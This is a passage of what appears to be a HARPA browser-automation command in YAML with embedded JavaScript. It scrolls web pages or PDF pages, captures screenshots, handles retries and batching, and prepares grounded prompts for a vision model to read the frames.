hit tests answer the same question in constant time. function measureOcclusion(vh, vw) { const out = { top: 0, bottom: 0, items: 0 }; const xs = [Math.round(vw * 0.15), Math.round(vw * 0.5), Math.round(vw * 0.85)]; const topYs = [2, 12, 28]; const bottomYs = [vh - 2, vh - 12, vh - 28]; function stack(x, y) { try { return document.elementsFromPoint(x, y) || []; } catch (e) { return []; } } function consider(el, edge, vh, vw) { if (!el || el === document.body || el === document.documentElement) return; let cs; try { cs = window.getComputedStyle(el); } catch (e) { return; } if (!cs) return; if (cs.position !== 'fixed' && cs.position !== 'sticky') return; if (cs.visibility === 'hidden' || cs.display === 'none' || Number(cs.opacity) === 0) return; let r; try { r = el.getBoundingClientRect(); } catch (e) { return; } if (r.width < vw * 0.55) return; if (r.height < 12 || r.height > vh * 0.6) return; if (edge === 'top' && r.bottom > 4 && r.bottom < vh * 0.5) { out.top = Math.max(out.top, Math.ceil(r.bottom)); out.items++; } else if (edge === 'bottom' && r.top < vh - 4 && r.top > vh * 0.5) { out.bottom = Math.max(out.bottom, Math.ceil(vh - r.top)); out.items++; } } for (let i = 0; i < xs.length; i++) { for (let j = 0; j < topYs.length; j++) { const s = stack(xs[i], topYs[j]); for (let k = 0; k < Math.min(s.length, 6); k++) consider(s[k], 'top', vh, vw); } for (let j = 0; j < bottomYs.length; j++) { const s = stack(xs[i], bottomYs[j]); for (let k = 0; k < Math.min(s.length, 6); k++) consider(s[k], 'bottom', vh, vw); } } // A full screen overlay must not collapse the step to nothing. const cap = Math.floor(vh * 0.4); if (out.top + out.bottom > cap) { const scale = cap / (out.top + out.bottom); out.top = Math.floor(out.top * scale); out.bottom = Math.floor(out.bottom * scale); } return out; } function heightOf(el) { if (el) return el.scrollHeight; const se = docScroller(); return Math.max( se ? se.scrollHeight : 0, document.body ? document.body.scrollHeight : 0, document.documentElement ? document.documentElement.scrollHeight : 0, window.innerHeight || 800 ); } function viewportOf(el) { if (el) return Math.max(200, el.clientHeight || 800); return Math.max(200, window.innerHeight || 800); } function posOf(el) { if (el) return el.scrollTop || 0; const se = docScroller(); const w = typeof window.pageYOffset === 'number' ? window.pageYOffset : 0; return Math.max(w, se ? (se.scrollTop || 0) : 0, document.body ? (document.body.scrollTop || 0) : 0); } function setPos(el, y) { const target = Math.max(0, Math.round(y)); if (el) { el.scrollTop = target; return; } try { window.scrollTo({ top: target, behavior: 'instant' }); } catch (e) { /* ignore */ } try { window.scrollTo({ top: target, behavior: 'auto' }); } catch (e) { /* ignore */ } try { window.scroll(0, target); } catch (e) { /* ignore */ } const se = docScroller(); if (se) se.scrollTop = target; if (document.body) document.body.scrollTop = target; } // Deliberately no frame prediction. The height measured here is the height of the page // BEFORE the walk, and the walk is what makes a lazy page load the rest of itself. const result = { ok: 'no', viewport: 0, total: 0, stride: 0, startY: 0, pinnedTop: 0, pinnedBottom: 0, pinned: 0, scroller: 'window', start: 'top', error: '' }; try { const wantHere = String(args.startMode || 'top').toLowerCase().indexOf('here') === 0; killSmoothScrolling(); const el = pickScroller(); result.scroller = el ? 'element' : 'window'; result.start = wantHere ? 'here' : 'top'; const keepAt = wantHere ? posOf(el) : 0; setPos(el, keepAt); await sleep(Math.max(120, Number(args.settleDelay) || 250)); const vh = viewportOf(el); const vw = Math.max(320, window.innerWidth || 1280); const height = heightOf(el); const occ = measureOcclusion(vh, vw); const stride = Math.max(120, vh - occ.top - occ.bottom); const startY = posOf(el); window.__fpv = { el: el, stride: stride, viewport: vh, total: height, frames: 0, startY: startY, abort: false, misses: 0, retries: 0, pinnedTop: occ.top, pinnedBottom: occ.bottom }; result.viewport = vh; result.total = height; result.stride = stride; result.startY = startY; result.pinnedTop = occ.top; result.pinnedBottom = occ.bottom; result.pinned = occ.items; result.ok = 'yes'; } catch (e) { result.error = String((e && e.message) || e); } return result; param: capture timeout: 60000 onFailure: PLAN FRAME LIST silent: true - label: PLAN FRAME LIST type: js args: maxShots code: >- // FULL PAGE VISION · FRAME LIST // The walk cannot know the final page height in advance, because lazy content only // appears while scrolling. The list is therefore the ceiling chosen by the user, // not a prediction: the loop leaves early the moment the scroller stops moving. const MAX_SHOTS = Math.max(1, Math.min(300, Number(String(args.maxShots || '').replace(/[^0-9]/g, '')) || 300)); const list = []; for (let i = 1; i <= MAX_SHOTS; i++) list.push({ n: i }); return list; param: frameList timeout: 30000 onFailure: FINISH CAPTURE silent: true - label: CAPTURE HTML FRAMES type: loop list: frameList steps: - label: APPEND FRAME type: js args: shots, view, maxShots, capturedFrames code: >- // FULL PAGE VISION · APPEND FRAME // Exactly the accumulation of the original command, which is the only form proven // to deliver several images to one prompt: // // arrayValue += ',' + viewValue -> a real parameter -> used in the prompt // // Two rules follow from that and must not be touched: // * the separator is a COMMA. HARPA splits the stored series on commas to resolve // the individual attachments. A newline joined series arrives as a single blob // and only one image reaches the model. // * the token travels as a JS ARGUMENT. Interpolating {{view}} inside a calc step // coerces the reference to text and breaks it, which surfaces as // "Failed to execute 'createImageBitmap'". // // Retry behaviour is built here, not delegated: a missing frame throws on purpose // so the loop lands on the pacing step, waits, and retries the SAME scroll position // on the next pass. The counter step is skipped on that path, so the frame count // stays exact. After too many refusals in a row the pacing step raises the abort // flag and this step stops throwing, which lets the walk end cleanly instead of // grinding through the whole ceiling. const LIMIT = Math.max(1, Math.min(300, Number(String(args.maxShots || '').replace(/[^0-9]/g, '')) || 300)); const held = Math.max(0, Number(args.capturedFrames) || 0); let arrayValue = args['shots'] || ''; const viewValue = args.view; const S = window.__fpv || (window.__fpv = {}); if (S.abort === true) return arrayValue; // clean shutdown, no further frames if (held >= LIMIT) return arrayValue; // ceiling reached if (!viewValue) { S.misses = (Number(S.misses) || 0) + 1; throw new Error('frame not available yet'); } S.misses = 0; if (arrayValue === '') { arrayValue = viewValue; } else { arrayValue += ',' + viewValue; } return arrayValue; param: shots timeout: 60000 onFailure: PACE CAPTURE silent: true - label: COUNT CAPTURED FRAME type: calc func: increment param: capturedFrames delta: '1' - label: ADVANCE ONE FRAME type: js args: captureInterval, growWait code: >- // FULL PAGE VISION · ADVANCE ONE FRAME // Runs immediately after a frame was grabbed. Scrolls forward by exactly one stride - // one full screen minus whatever is pinned to the top or bottom edge, so the frames sit // edge to edge without overlap and without a hidden gap - // verifies the real position, gives lazily loaded content the chance to extend the // page, and returns true only when the scroller truly cannot move any further. // Loading and capturing therefore happen in a single downward pass. // // It is also the single exit of the walk: when the pacing step has given up on a // position, the abort flag is read here and reported as "bottom reached", so the // existing exit jump ends the loop without any extra control flow. function sleep(ms) { return new Promise(function (r) { setTimeout(r, ms); }); } function docScroller() { return document.scrollingElement || document.documentElement || document.body; } function heightOf(el) { if (el) return el.scrollHeight; const se = docScroller(); return Math.max( se ? se.scrollHeight : 0, document.body ? document.body.scrollHeight : 0, document.documentElement ? document.documentElement.scrollHeight : 0, window.innerHeight || 800 ); } function viewportOf(el) { if (el) return Math.max(200, el.clientHeight || 800); return Math.max(200, window.innerHeight || 800); } function posOf(el) { if (el) return el.scrollTop || 0; const se = docScroller(); const w = typeof window.pageYOffset === 'number' ? window.pageYOffset : 0; return Math.max(w, se ? (se.scrollTop || 0) : 0, document.body ? (document.body.scrollTop || 0) : 0); } function setPos(el, y) { const target = Math.max(0, Math.round(y)); if (el) { el.scrollTop = target; return; } try { window.scrollTo({ top: target, behavior: 'instant' }); } catch (e) { /* ignore */ } try { window.scrollTo({ top: target, behavior: 'auto' }); } catch (e) { /* ignore */ } try { window.scroll(0, target); } catch (e) { /* ignore */ } const se = docScroller(); if (se) se.scrollTop = target; if (document.body) document.body.scrollTop = target; } const START = Date.now(); const rawInterval = String(args.captureInterval == null ? '' : args.captureInterval).replace(/[^0-9]/g, ''); const INTERVAL = Math.max(0, Math.min(5000, Number(rawInterval) || 200)); const SETTLE = Math.max(30, Math.min(300, Math.round(INTERVAL * 0.45) || 90)); const GROW_WAIT = Math.max(0, Number(args.growWait) || 900); let state = window.__fpv; if (!state || typeof state !== 'object') { const vh = viewportOf(null); state = { el: null, stride: vh, viewport: vh, total: heightOf(null), frames: 0, startY: 0, abort: false }; window.__fpv = state; } if (state.abort === true) return true; if (state.el && !document.contains(state.el)) state.el = null; const el = state.el || null; const stride = Math.max(120, Number(state.stride) || viewportOf(el)); try { state.lastShot = START; state.frames = (Number(state.frames) || 0) + 1; const before = posOf(el); const heightBefore = heightOf(el); const want = before + stride; setPos(el, want); await sleep(SETTLE); let after = posOf(el); // The scroller did not move although there is room left: it may still be animating // or re-rendering. Push once more before drawing any conclusion. if (after - before < 8 && before < heightOf(el) - viewportOf(el) - 8) { setPos(el, want); await sleep(Math.max(240, SETTLE)); after = posOf(el); } // We look like we are at the bottom. Lazy loaders usually append content only once // the bottom is actually reached, so wait for the page to grow. if (after - before < 8 && GROW_WAIT > 0) { const deadline = Date.now() + GROW_WAIT; while (Date.now() < deadline) { await sleep(150); if (heightOf(el) > heightBefore + 8) { setPos(el, want); await sleep(SETTLE); after = posOf(el); if (after - before >= 8) break; } } } state.total = heightOf(el); state.viewport = viewportOf(el); return (after - before) < 8; } catch (e) { return true; } param: atBottom timeout: 60000 onFailure: '' silent: true - condition: '{{atBottom}} = true' label: EXIT AT PAGE BOTTOM type: jump to: FINISH CAPTURE - label: PACE CAPTURE type: js args: captureInterval code: >- // FULL PAGE VISION · PACE CAPTURE // Last step of the capture loop, and therefore also the landing point when a frame // grab fails. Three jobs: // 1. keep the requested capture rate without paying twice for time already spent // scrolling; // 2. back off progressively when frames are refused, so a throttled run recovers // instead of spinning through the loop budget; // 3. give up in a controlled way. After GIVE_UP consecutive refusals of the same // position the abort flag is raised. The append step then stops throwing and // the scroll step reports "bottom", so the walk ends with whatever it has // instead of retrying three hundred times. // Chrome enforces its own screenshot rate limit of two calls per second and it // cannot be raised; this step only controls how fast the command asks for frames. function sleep(ms) { return new Promise(function (r) { setTimeout(r, ms); }); } const GIVE_UP = 6; const raw = String(args.captureInterval == null ? '' : args.captureInterval).replace(/[^0-9]/g, ''); const interval = Math.max(0, Math.min(5000, Number(raw) || 200)); const S = window.__fpv || (window.__fpv = {}); const advanced = Number(S.frames) || 0; // The scroll step increments S.frames. If it did not run since the last pause, the // previous capture was refused and this is a retry of the same position. if (S.lastAdvance === advanced) { S.retries = (Number(S.retries) || 0) + 1; } else { S.retries = 0; S.lastAdvance = advanced; } const retries = Number(S.retries) || 0; if (retries >= GIVE_UP) S.abort = true; const backoff = retries > 0 ? Math.min(4000, 300 * Math.pow(2, retries - 1)) : 0; const since = S.lastShot ? Date.now() - Number(S.lastShot) : interval; const waitFor = Math.max(0, interval - since) + backoff; if (waitFor > 0) await sleep(waitFor); return { waited: waitFor, retries: retries, interval: interval, frames: advanced, abort: S.abort === true ? 'yes' : 'no' }; param: scratch timeout: 30000 onFailure: '' silent: true - label: AFTER HTML CAPTURE type: jump to: FINISH CAPTURE - condition: '{{sourceKind}} = pdf' label: PDF CAPTURE PIPELINE type: group steps: - label: ANNOUNCE PDF CAPTURE type: say message: >- 📄 PDF · {{scopeNote}} · reading the page count, then photographing every page. - label: PROBE PDF PAGE COUNT type: js args: '' code: >- // FULL PAGE VISION · PROBE PDF PAGE COUNT // Asks the viewer how many pages the document has, for free, before a vision request is spent // on the same question. // // Why this matters beyond the saved request: when the page count is unknown the plan falls // back to the chosen ceiling, and the ceiling defaults to three hundred. On a twelve page PDF // that meant three hundred navigations to pages that do not exist, three hundred photographs // of the same last page, and thirty vision requests spent reading it. A number that is right // removes the whole failure mode, and the viewers hand it over if asked. // // Four sources, cheapest and most reliable first. Every one of them is wrapped, because a // missing viewer must cost nothing but a zero. function deepQuery(root, selector, depth) { if (!root || depth > 6) return null; try { const direct = root.querySelector ? root.querySelector(selector) : null; if (direct) return direct; } catch (e) { /* keep looking */ } let kids = []; try { kids = root.querySelectorAll ? Array.prototype.slice.call(root.querySelectorAll('*')) : []; } catch (e) { kids = []; } for (let i = 0; i < Math.min(kids.length, 400); i++) { const sr = kids[i].shadowRoot; if (!sr) continue; const hit = deepQuery(sr, selector, depth + 1); if (hit) return hit; } return null; } function digits(value) { const m = String(value == null ? '' : value).match(/\d[\d.,\u00a0 ]*/); if (!m) return 0; const n = Number(m[0].replace(/[^0-9]/g, '')); return isFinite(n) ? n : 0; } const out = { pages: 0, pagesText: '', source: 'none', base: '' }; // The base URL the page loop navigates against. A PDF opened at a bookmark already carries a // fragment, and appending a second #page= to it produces an address no viewer understands. try { const href = String(window.location.href || ''); out.base = href.split('#')[0]; } catch (e) { out.base = ''; } // 1 · PDF.js and every viewer built on it publish the count directly. try { const app = window.PDFViewerApplication; if (app && Number(app.pagesCount) > 0) { out.pages = Number(app.pagesCount); out.source = 'pdfjs'; } } catch (e) { /* not a PDF.js viewer */ } // 2 · The PDF.js toolbar prints it as plain text. if (out.pages < 1) { try { const el = document.getElementById('numPages') || document.querySelector('#numPages,.numPages,[data-l10n-id="page_of_pages"]'); const n = el ? digits(el.textContent) : 0; if (n > 0) { out.pages = n; out.source = 'toolbar'; } } catch (e) { /* no toolbar */ } } // 3 · Chrome's built in viewer keeps its toolbar inside nested shadow roots. if (out.pages < 1) { try { const el = deepQuery(document, '#pagelength, viewer-page-selector #pagelength, #pageselector', 0); const n = el ? digits(el.textContent) : 0; if (n > 0) { out.pages = n; out.source = 'shadow'; } } catch (e) { /* no shadow toolbar */ } } // 4 · Last free resort: the visible "7 / 34" the viewers print somewhere on screen. if (out.pages < 1) { try { const text = String(document.body ? document.body.innerText || '' : '').slice(0, 4000); const m = text.match(/(?:^|\s)(\d{1,4})\s*(?:\/|of|von|sur|de)\s*(\d{1,4})(?:\s|$)/i); const n = m ? Number(m[2]) : 0; if (n > 0 && n <= 5000) { out.pages = n; out.source = 'text'; } } catch (e) { /* nothing readable */ } } if (!isFinite(out.pages) || out.pages < 1 || out.pages > 5000) { out.pages = 0; out.source = 'none'; } // The reading ladder downstream is gated on one slot being empty. A probe that found nothing // therefore has to hand back an EMPTY string rather than a zero, because "0" is not empty and // would silently skip the vision fallback it is supposed to trigger. out.pagesText = out.pages > 0 ? String(out.pages) : ''; return out; param: pdfProbe timeout: 30000 onFailure: '' silent: true - condition: '{{pdfProbe.base}}' label: ADOPT PDF BASE URL type: calc func: set param: pdfUrl value: '{{pdfProbe.base}}' format: '' - condition: '{{pdfProbe.pages}} > 0' label: NOTE VIEWER PAGE COUNT type: say message: >- 📄 The viewer reports **{{pdfProbe.pages}}** page(s) — no request was needed to find that out. - label: SEED PDF PAGE COUNT type: calc func: set param: pdfPageRead value: '{{pdfProbe.pagesText}}' format: '' - condition: '{{pdfPageRead}} =' label: READ PDF PAGE COUNT type: gpt prompt: >- Analyze the provided screenshot of a PDF document and determine the total number of pages. **Provide *ONLY* the numeral** representing the page count as your output. Ensure the number is **strictly unformatted** (no backticks, symbols, punctuation, or additional text of any kind). Your response must be **exclusively the numeral** (e.g., `5`, `12`, `23`) and *nothing else*: {{view}} param: pdfPageRead isolated: true silent: true - condition: '{{pdfPageRead}} =' label: RETRY PDF PAGE COUNT type: gpt prompt: >- Look at the attached screenshot of a PDF and answer with the total number of pages in the document — the number printed after the page indicator, for example the 34 in `7 / 34`. Answer with that numeral alone. No words, no punctuation, no formatting. {{view}} param: pdfPageRead isolated: true silent: true - condition: '{{pdfPageRead}} =' label: NOTE PDF PAGE COUNT FALLBACK type: say message: >- 🧭 Neither the viewer nor the vision reading could name the page count, so the first **20** pages are photographed. That bound is deliberate: without a real count the walk would otherwise navigate to hundreds of pages that do not exist and photograph the last one over and over. - label: PLAN PDF PAGES type: js args: pdfPageRead, maxShots, pdfProbe code: >- // FULL PAGE VISION · PDF SHOT PLAN // One screenshot per PDF page. Three sources for the page count, in falling order of trust: // // 1. the viewer itself, read out of the DOM one step earlier - free and exact; // 2. a vision reading of the first frame - one request, and only when the viewer said // nothing; // 3. a blind fallback, because a run that cannot count still has to produce something. // // The blind fallback is deliberately NOT the chosen ceiling. The ceiling defaults to three // hundred, and walking three hundred pages of a document that has twelve means three hundred // navigations, three hundred photographs of the same clamped last page, and thirty vision // requests spent reading that same page over and over. Where the count is genuinely unknown // the plan stops at BLIND_LIMIT pages and the command says so in plain words: a bounded, // announced partial reading instead of an unbounded silent one. const MAX_SHOTS = Math.max(1, Math.min(300, Number(String(args.maxShots || '').replace(/[^0-9]/g, '')) || 300)); const BLIND_LIMIT = 20; let probeSource = 'none'; try { const p = args.pdfProbe; if (p && typeof p === 'object' && p.source) probeSource = String(p.source); } catch (e) { probeSource = 'none'; } const raw = String(args.pdfPageRead == null ? '' : args.pdfPageRead); const seen = raw.match(/\d+/); const counted = seen ? Number(seen[0]) : 0; let pages; let source; if (isFinite(counted) && counted > 0) { pages = counted; source = probeSource !== 'none' ? 'viewer' : 'vision'; } else { pages = Math.min(MAX_SHOTS, BLIND_LIMIT); source = 'blind'; } pages = Math.max(1, Math.min(pages, MAX_SHOTS)); const plan = []; for (let i = 1; i <= pages; i++) plan.push({ n: i, page: i, source: source }); return plan; param: frameList timeout: 30000 onFailure: FINISH CAPTURE silent: true - label: CAPTURE PDF PAGES type: loop list: frameList steps: - label: OPEN PDF PAGE type: navigate url: '{{pdfUrl}}#page={{item.page}}' waitForIdle: true onFailure: '' silent: true - label: SETTLE PDF PAGE type: wait for: custom-delay delay: 400 silent: true - label: APPEND PDF FRAME type: js args: shots, view, maxShots, capturedFrames code: >- // FULL PAGE VISION · APPEND FRAME // Exactly the accumulation of the original command, which is the only form proven // to deliver several images to one prompt: // // arrayValue += ',' + viewValue -> a real parameter -> used in the prompt // // Two rules follow from that and must not be touched: // * the separator is a COMMA. HARPA splits the stored series on commas to resolve // the individual attachments. A newline joined series arrives as a single blob // and only one image reaches the model. // * the token travels as a JS ARGUMENT. Interpolating {{view}} inside a calc step // coerces the reference to text and breaks it, which surfaces as // "Failed to execute 'createImageBitmap'". // // Retry behaviour is built here, not delegated: a missing frame throws on purpose // so the loop lands on the pacing step, waits, and retries the SAME scroll position // on the next pass. The counter step is skipped on that path, so the frame count // stays exact. After too many refusals in a row the pacing step raises the abort // flag and this step stops throwing, which lets the walk end cleanly instead of // grinding through the whole ceiling. const LIMIT = Math.max(1, Math.min(300, Number(String(args.maxShots || '').replace(/[^0-9]/g, '')) || 300)); const held = Math.max(0, Number(args.capturedFrames) || 0); let arrayValue = args['shots'] || ''; const viewValue = args.view; const S = window.__fpv || (window.__fpv = {}); if (S.abort === true) return arrayValue; // clean shutdown, no further frames if (held >= LIMIT) return arrayValue; // ceiling reached if (!viewValue) { S.misses = (Number(S.misses) || 0) + 1; throw new Error('frame not available yet'); } S.misses = 0; if (arrayValue === '') { arrayValue = viewValue; } else { arrayValue += ',' + viewValue; } return arrayValue; param: shots timeout: 60000 onFailure: PACE PDF CAPTURE silent: true - label: COUNT CAPTURED PDF FRAME type: calc func: increment param: capturedFrames delta: '1' - label: PACE PDF CAPTURE type: js args: captureInterval, capturedFrames code: >- // FULL PAGE VISION · PACE PDF CAPTURE // Last step of the PDF loop, and therefore also the landing point when a page grab fails. // Three jobs: keep the requested capture rate, back off progressively when pages are refused, // and give up in a controlled way after GIVE_UP consecutive refusals of the same page. // // It used to detect a refusal by watching window.__fpv.frames, the counter the HTML walk's // scroll step increments. The PDF pipeline has no scroll step, so that counter never moved: // from the second page onwards every pass looked like a refusal of the same position, the // backoff doubled, and after six pages the abort flag went up and the append step stopped // appending. A PDF longer than seven pages silently lost everything after page seven. // // The honest signal is the frame counter of the run itself. It is incremented by the step // that follows a SUCCESSFUL append and is skipped when the append throws, so an unchanged // value means, precisely and only, that the previous page was refused. function sleep(ms) { return new Promise(function (r) { setTimeout(r, ms); }); } const GIVE_UP = 6; const raw = String(args.captureInterval == null ? '' : args.captureInterval).replace(/[^0-9]/g, ''); const interval = Math.max(0, Math.min(5000, Number(raw) || 200)); const captured = Math.max(0, Number(String(args.capturedFrames == null ? '' : args.capturedFrames).replace(/[^0-9]/g, '')) || 0); const S = window.__fpv || (window.__fpv = {}); if (S.lastPdfCount === captured) { S.pdfRetries = (Number(S.pdfRetries) || 0) + 1; } else { S.pdfRetries = 0; S.lastPdfCount = captured; } const retries = Number(S.pdfRetries) || 0; if (retries >= GIVE_UP) S.abort = true; const backoff = retries > 0 ? Math.min(4000, 300 * Math.pow(2, retries - 1)) : 0; const since = S.lastShot ? Date.now() - Number(S.lastShot) : interval; const waitFor = Math.max(0, interval - since) + backoff; if (waitFor > 0) await sleep(waitFor); S.lastShot = Date.now(); return { waited: waitFor, retries: retries, interval: interval, pages: captured, abort: S.abort === true ? 'yes' : 'no' }; param: scratch timeout: 30000 onFailure: '' silent: true - label: RETURN TO FIRST PAGE type: navigate url: '{{pdfUrl}}' waitForIdle: false onFailure: '' silent: true - label: AFTER PDF CAPTURE type: jump to: FINISH CAPTURE - label: FINALIZE CAPTURE type: group steps: - label: FINISH CAPTURE type: js args: sourceKind code: >- // FULL PAGE VISION · FINISH CAPTURE // Returns the page to where the walk began and reports the geometry that was really walked, // which is the fastest way to tell whether a run covered the page. Coverage is measured // against the part of the page that was in scope, so a walk that deliberately started half // way down is not reported as half a failure. // // A PDF has no walk. Its frames come from navigation, so window.__fpv is never set up and // every measurement below reads back as zero - which used to make every single PDF run end // on "only 0 % of the page height was walked" plus a diagnostics line of zeroes. Coverage is // not a meaningful question there: the plan names the pages and the loop photographs them. // So the mode is named, the geometry is reported as complete, and the warnings that hang off // coverage simply do not fire. function docScroller() { return document.scrollingElement || document.documentElement || document.body; } const kind = String(args.sourceKind || 'html').toLowerCase().indexOf('pdf') === 0 ? 'pdf' : 'html'; const state = window.__fpv || {}; const el = (state.el && document.contains(state.el)) ? state.el : null; const out = { ok: 'true', mode: kind, total: Number(state.total) || 0, viewport: Number(state.viewport) || (window.innerHeight || 0), stride: Number(state.stride) || 0, walked: Number(state.frames) || 0, startY: Number(state.startY) || 0, aborted: state.abort === true ? 'yes' : 'no', coverage: 0, scroller: el ? 'element' : 'window' }; if (kind === 'pdf') { out.coverage = 100; out.scroller = 'document'; return out; } try { const home = out.startY; if (el) { el.scrollTop = home; } else { try { window.scrollTo({ top: home, behavior: 'instant' }); } catch (e) { /* ignore */ } try { window.scrollTo({ top: home, behavior: 'auto' }); } catch (e) { /* ignore */ } try { window.scroll(0, home); } catch (e) { /* ignore */ } const se = docScroller(); if (se) se.scrollTop = home; if (document.body) document.body.scrollTop = home; } const inScope = Math.max(1, out.total - out.startY); const covered = out.stride > 0 && out.walked > 0 ? (out.walked - 1) * out.stride + out.viewport : 0; out.coverage = Math.max(0, Math.min(100, Math.round(100 * covered / inScope))); await new Promise(function (r) { setTimeout(r, 150); }); } catch (e) { out.ok = 'false'; } return out; param: geometry timeout: 30000 onFailure: '' silent: true - label: MEASURE FRAME SERIES type: js args: shots, capturedFrames code: >- // FULL PAGE VISION · MEASURE FRAME SERIES // The single source of truth for "how many frames do we actually hold". The engine // side counter can drift by one when the walk shuts itself down, so the number is // recomputed from the stored series instead of being trusted. // // A frame token is opaque. Should it contain a comma of its own, a naive split would // tear it apart and multiply the count. Two independent reconstructions are used: // 1. if the tokens are data URLs, the boundaries are visible and exact; // 2. otherwise, if the number of comma parts is an exact multiple of the counted // frames, that multiple is the number of parts per token; // 3. otherwise one part is one token. const raw = String(args.shots == null ? '' : args.shots); const counted = Math.max(0, Number(args.capturedFrames) || 0); const parts = raw .split(',') .map(function (s) { return s.trim(); }) .filter(function (s) { return s.length > 0; }); let frames = []; let method = 'one-part-per-frame'; const looksLikeDataUrl = parts.some(function (p) { return /^data:/i.test(p); }); if (counted > 0 && parts.length > counted && parts.length % counted === 0) { method = 'derived-parts-per-frame'; const per = parts.length / counted; for (let i = 0; i < parts.length; i += per) frames.push(parts.slice(i, i + per).join(',')); } else if (looksLikeDataUrl) { method = 'data-url-boundaries'; let current = []; for (let i = 0; i < parts.length; i++) { if (/^data:/i.test(parts[i]) && current.length > 0) { frames.push(current.join(',')); current = []; } current.push(parts[i]); } if (current.length > 0) frames.push(current.join(',')); } else { frames = parts.slice(); } // A request that carries ten dense screenshots takes roughly twenty to fifty seconds. Saying // so at the gate is what separates "this is working" from "this has hung", and it costs // nothing to say. const size = 10; const requests = Math.ceil(frames.length / size); return { frames: frames.length, parts: parts.length, counted: counted, requests: requests, minLo: Math.max(1, Math.round(requests * 20 / 60)), minHi: Math.max(2, Math.round(requests * 50 / 60)), method: method, ok: frames.length > 0 ? 'yes' : 'no' }; param: series timeout: 30000 onFailure: '' silent: true - label: ADOPT FRAME COUNT type: calc func: set param: shotCount value: '{{series.frames}}' format: '' - label: SPLIT INTO BATCHES type: js args: shots, batchSize, shotCount code: >- // FULL PAGE VISION · BATCH SPLITTER // A chat request carries up to ten images, so the comma separated frame series is cut // into groups of ten and each group is read by its own vision call. The token // boundaries are reconstructed exactly the way the measuring step reconstructs them, // so both steps always agree on what a frame is. const SIZE = Math.max(1, Math.min(10, Number(args.batchSize) || 10)); const counted = Math.max(0, Number(String(args.shotCount || '').replace(/[^0-9]/g, '')) || 0); const raw = String(args.shots == null ? '' : args.shots); const parts = raw .split(',') .map(function (s) { return s.trim(); }) .filter(function (s) { return s.length > 0; }); // Order matters and follows the original: the engine side counter says how many frames were // really taken, so the number of comma parts each token occupies is DERIVED from it. Only when // that derivation does not apply is the visible shape of the token used as a fallback. let frames = []; const looksLikeDataUrl = parts.some(function (p) { return /^data:/i.test(p); }); if (counted > 0 && parts.length > counted && parts.length % counted === 0) { const per = parts.length / counted; for (let i = 0; i < parts.length; i += per) frames.push(parts.slice(i, i + per).join(',')); } else if (looksLikeDataUrl) { let current = []; for (let i = 0; i < parts.length; i++) { if (/^data:/i.test(parts[i]) && current.length > 0) { frames.push(current.join(',')); current = []; } current.push(parts[i]); } if (current.length > 0) frames.push(current.join(',')); } else { frames = parts.slice(); } const batches = []; for (let i = 0; i < frames.length; i += SIZE) { batches.push(frames.slice(i, i + SIZE).join(',')); } return batches; param: batches timeout: 30000 onFailure: '' silent: true - label: BUILD PROMPT HEADER type: js args: title, url, shotCount, batches code: >- // FULL PAGE VISION · PROMPT HEADER // The three lines that sit above every answer prompt. Two of them - the page title and the // address - come from the page itself, and page text is exactly what has to be armoured // before it is interpolated into a prompt: a title that reads "How {{page}} works" would // otherwise make the engine extract the whole page again, once per occurrence, for every // answer that carries the header. The record has been armoured since the first version; the // header had not been, and it is built from the same kind of untrusted text. function harden(value) { return String(value == null ? '' : value).replace(/\{\{(?!\\)/g, '{{\\'); } function clean(value) { return harden(String(value == null ? '' : value).replace(/\s+/g, ' ').trim()); } const title = clean(args.title) || 'untitled page'; const url = clean(args.url) || 'unknown source'; const frames = String(args.shotCount == null ? '' : args.shotCount).replace(/[^0-9]/g, '') || '0'; let segments = 0; try { const b = args.batches; segments = b && typeof b.length === 'number' ? b.length : 0; } catch (e) { segments = 0; } return [\ '[PAGE TITLE]: ' + title,\ '[SOURCE]: ' + url,\ '[FRAMES READ]: ' + frames + ' screenshots in ' + segments + ' segment(s)'\ ].join('\n'); param: promptHeader timeout: 30000 onFailure: '' silent: true - label: BUILD GROUND RULE type: calc func: set param: groundRule value: >- The [EVIDENCE] below is the frame-by-frame reading of the whole page, produced by looking at every screenshot. It is the only permitted source of facts. Never add anything it does not contain. Regions the record marks as `[unreadable]` or as `NOT READ` are gaps, not facts: name them as missing instead of filling them in. format: '' - label: BUILD CONSTRUCTION RULE type: calc func: set param: buildRule value: >- The [EVIDENCE] below is the frame-by-frame reading of the whole page, written by looking at every screenshot. It is your only source for what the page CONTAINS: its words, its numbers, its pictures, its structure, and the typefaces, sizes, colours and spacing it describes. It is not the source of the FORM your answer takes. When you are asked to build something - HTML, CSS, code, a table, a document, a translation - then writing the markup, the syntax and the scaffolding that carries the content is construction, not invention. That is the work, and you are expected to do it in full. Only the content inside it has to come from the record. format: '' - label: REPORT CAPTURE type: say message: 🖼️ **{{shotCount}}** frames · **{{batches.length}}** segment(s) - condition: - '{{geometry.coverage}} < 95' - '{{geometry.aborted}} = yes' label: REPORT GEOMETRY type: say message: >- 🔎 Diagnostics ({{geometry.mode}}): {{geometry.total}} px tall, {{geometry.viewport}} px viewport, exact step {{geometry.stride}} px ({{geometry.pinnedTop}} px pinned at the top, {{geometry.pinnedBottom}} px at the bottom), scroller {{geometry.scroller}}, coverage {{geometry.coverage}} %. - condition: '{{geometry.coverage}} < 95' label: WARN LOW COVERAGE type: say message: >- ⚠️ Only {{geometry.coverage}} % of the page height was walked. Frames may have been refused by the browser — the record below can have holes. - condition: '{{shotCount}} = {{maxShots}}' label: WARN CEILING REACHED type: say message: >- ♾️ The chosen ceiling of {{maxShots}} frames was reached, so the source probably continues beyond it. Run the command again with a larger scope — on a web page you can also set START POINT to HERE to carry on from where this run stopped. - condition: '{{capture.ok}} = no' label: WARN PREPARATION FAILED type: say message: >- ⚠️ The page could not be prepared for the walk ({{capture.error}}), so the frames may be uneven. What was captured is still usable. - condition: '{{geometry.aborted}} = yes' label: WARN CAPTURE ABORTED type: say message: >- 🛑 The walk stopped early because the browser refused several frames in a row. What was captured up to that point is intact. - condition: '{{shotCount}} = 0' label: ABORT NOTICE type: say message: >- ⛔ No frames could be captured. The connection may not support vision, or this tab may refuse screenshots. Try a normal web page with a vision-capable model. - condition: '{{shotCount}} = 0' label: STOP ON EMPTY CAPTURE type: stop - condition: '{{batches.length}} > 1' label: CONFIRM VISION READING type: group steps: - label: CONFIRM READING type: ask message: >- Read all **{{shotCount}}** frames now? That is **{{batches.length}}** vision request(s), roughly **{{series.minLo}}–{{series.minHi}} minutes**. Every answer afterwards costs one more; the frames are read only once. param: proceed options: - label: ▶️ CONTINUE · read the frames value: continue - label: ⛔ CANCEL · stop without spending a request value: cancel default: continue vision: enabled: false mode: area hint: '' send: true 